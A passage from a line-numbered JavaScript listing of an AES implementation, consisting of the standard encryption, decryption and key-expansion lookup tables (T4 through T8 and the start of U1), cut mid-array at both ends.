0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16];
  213.         var T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c];
  214.  
  215.         // Transformations for decryption
  216.         var T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742];
  217.         var T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857];
  218.         var T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8];
  219.         var T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0];
  220.  
  221.         // Transformations for decryption key expansion
  222.         var U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 